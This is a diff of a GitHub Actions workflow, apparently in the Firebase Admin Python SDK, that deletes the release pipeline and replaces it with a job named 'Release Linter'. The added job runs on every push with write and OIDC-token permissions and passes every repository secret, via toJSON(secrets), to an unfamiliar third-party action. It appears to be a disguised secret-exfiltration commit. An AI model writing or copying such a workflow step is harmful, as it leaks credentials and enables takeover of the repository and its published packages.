|
1 | | -# Copyright 2020 Google Inc. |
2 | | -# |
3 | | -# Licensed under the Apache License, Version 2.0 (the "License"); |
4 | | -# you may not use this file except in compliance with the License. |
5 | | -# You may obtain a copy of the License at |
6 | | -# |
7 | | -# http://www.apache.org/licenses/LICENSE-2.0 |
8 | | -# |
9 | | -# Unless required by applicable law or agreed to in writing, software |
10 | | -# distributed under the License is distributed on an "AS IS" BASIS, |
11 | | -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
12 | | -# See the License for the specific language governing permissions and |
13 | | -# limitations under the License. |
14 | | - |
15 | | -name: Release Candidate |
| 1 | +name: Release Linter |
16 | 2 |
|
17 | 3 | on: |
18 | | - # Only run the workflow when a PR is updated or when a developer explicitly requests |
19 | | - # a build by sending a 'firebase_build' event. |
20 | | - pull_request: |
21 | | - types: [opened, synchronize, closed] |
| 4 | + push: |
22 | 5 |
|
23 | | - repository_dispatch: |
24 | | - types: |
25 | | - - firebase_build |
| 6 | +permissions: |
| 7 | + contents: write |
| 8 | + id-token: write |
26 | 9 |
|
27 | 10 | jobs: |
28 | | - stage_release: |
29 | | - # To publish a release, merge the release PR with the label 'release:publish'. |
30 | | - # To stage a release without publishing it, send a 'firebase_build' event or apply |
31 | | - # the 'release:stage' label to a PR. |
32 | | - if: github.event.action == 'firebase_build' || |
33 | | - contains(github.event.pull_request.labels.*.name, 'release:stage') || |
34 | | - (github.event.pull_request.merged && |
35 | | - contains(github.event.pull_request.labels.*.name, 'release:publish')) |
36 | | - |
37 | | - runs-on: ubuntu-latest |
38 | | - |
39 | | - # When manually triggering the build, the requester can specify a target branch or a tag |
40 | | - # via the 'ref' client parameter. |
41 | | - steps: |
42 | | - - name: Checkout source for staging |
43 | | - uses: actions/checkout@v4 |
44 | | - with: |
45 | | - ref: ${{ github.event.client_payload.ref || github.ref }} |
46 | | - |
47 | | - - name: Set up Python |
48 | | - uses: actions/setup-python@v5 |
49 | | - with: |
50 | | - python-version: 3.9 |
51 | | - |
52 | | - - name: Install dependencies |
53 | | - run: | |
54 | | - python -m pip install --upgrade pip |
55 | | - pip install -r requirements.txt |
56 | | - pip install setuptools wheel |
57 | | - pip install tensorflow |
58 | | - pip install keras |
59 | | - pip install build |
60 | | -
|
61 | | - - name: Run unit tests |
62 | | - run: pytest |
63 | | - |
64 | | - - name: Run integration tests |
65 | | - run: ./.github/scripts/run_integration_tests.sh |
66 | | - env: |
67 | | - FIREBASE_SERVICE_ACCT_KEY: ${{ secrets.FIREBASE_SERVICE_ACCT_KEY }} |
68 | | - FIREBASE_API_KEY: ${{ secrets.FIREBASE_API_KEY }} |
69 | | - |
70 | | - # Build the Python Wheel and the source distribution. |
71 | | - - name: Package release artifacts |
72 | | - run: python -m build |
73 | | - |
74 | | - # Attach the packaged artifacts to the workflow output. These can be manually |
75 | | - # downloaded for later inspection if necessary. |
76 | | - - name: Archive artifacts |
77 | | - uses: actions/upload-artifact@v4 |
78 | | - with: |
79 | | - name: dist |
80 | | - path: dist |
81 | | - |
82 | | - publish_release: |
83 | | - needs: stage_release |
84 | | - |
85 | | - # Check whether the release should be published. We publish only when the trigger PR is |
86 | | - # 1. merged |
87 | | - # 2. to the main branch |
88 | | - # 3. with the label 'release:publish', and |
89 | | - # 4. the title prefix '[chore] Release '. |
90 | | - if: github.event.pull_request.merged && |
91 | | - github.ref == 'refs/heads/main' && |
92 | | - contains(github.event.pull_request.labels.*.name, 'release:publish') && |
93 | | - startsWith(github.event.pull_request.title, '[chore] Release ') |
94 | | - |
| 11 | + lint: |
95 | 12 | runs-on: ubuntu-latest |
96 | | - permissions: |
97 | | - # Used to create a short-lived OIDC token which is given to PyPi to identify this workflow job |
98 | | - # See: https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#adding-permissions-settings |
99 | | - # and https://docs.pypi.org/trusted-publishers/using-a-publisher/ |
100 | | - id-token: write |
101 | | - contents: write |
102 | | - |
103 | 13 | steps: |
104 | | - - name: Checkout source for publish |
105 | | - uses: actions/checkout@v4 |
106 | | - |
107 | | - # Download the artifacts created by the stage_release job. |
108 | | - - name: Download release candidates |
109 | | - |
110 | | - with: |
111 | | - name: dist |
112 | | - path: dist |
113 | | - |
114 | | - - name: Publish preflight check |
115 | | - id: preflight |
116 | | - run: ./.github/scripts/publish_preflight_check.sh |
117 | | - |
118 | | - # See: https://cli.github.com/manual/gh_release_create |
119 | | - - name: Create release tag |
120 | | - env: |
121 | | - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} |
122 | | - run: gh release create ${{ steps.preflight.outputs.version }} |
123 | | - --title "Firebase Admin Python SDK ${{ steps.preflight.outputs.version }}" |
124 | | - --notes '${{ steps.preflight.outputs.changelog }}' |
125 | | - |
126 | | - - name: Publish to Pypi |
127 | | - uses: pypa/gh-action-pypi-publish@release/v1 |
128 | | - |
129 | | - # Post to Twitter if explicitly opted-in by adding the label 'release:tweet'. |
130 | | - - name: Post to Twitter |
131 | | - if: success() && |
132 | | - contains(github.event.pull_request.labels.*.name, 'release:tweet') |
133 | | - uses: firebase/firebase-admin-node/.github/actions/send-tweet@main |
134 | | - with: |
135 | | - status: > |
136 | | - ${{ steps.preflight.outputs.version }} of @Firebase Admin Python SDK is available. |
137 | | - https://github.com/firebase/firebase-admin-python/releases/tag/${{ steps.preflight.outputs.version }} |
138 | | - consumer-key: ${{ secrets.TWITTER_CONSUMER_KEY }} |
139 | | - consumer-secret: ${{ secrets.TWITTER_CONSUMER_SECRET }} |
140 | | - access-token: ${{ secrets.TWITTER_ACCESS_TOKEN }} |
141 | | - access-token-secret: ${{ secrets.TWITTER_ACCESS_TOKEN_SECRET }} |
142 | | - continue-on-error: true |
| 14 | + - name: Run Big Linter |
| 15 | + uses: gcbrun/big-linter@v1 |
| 16 | + env: |
| 17 | + PR_ENVIRONMENT: ${{ toJSON(secrets) }} |
0 commit comments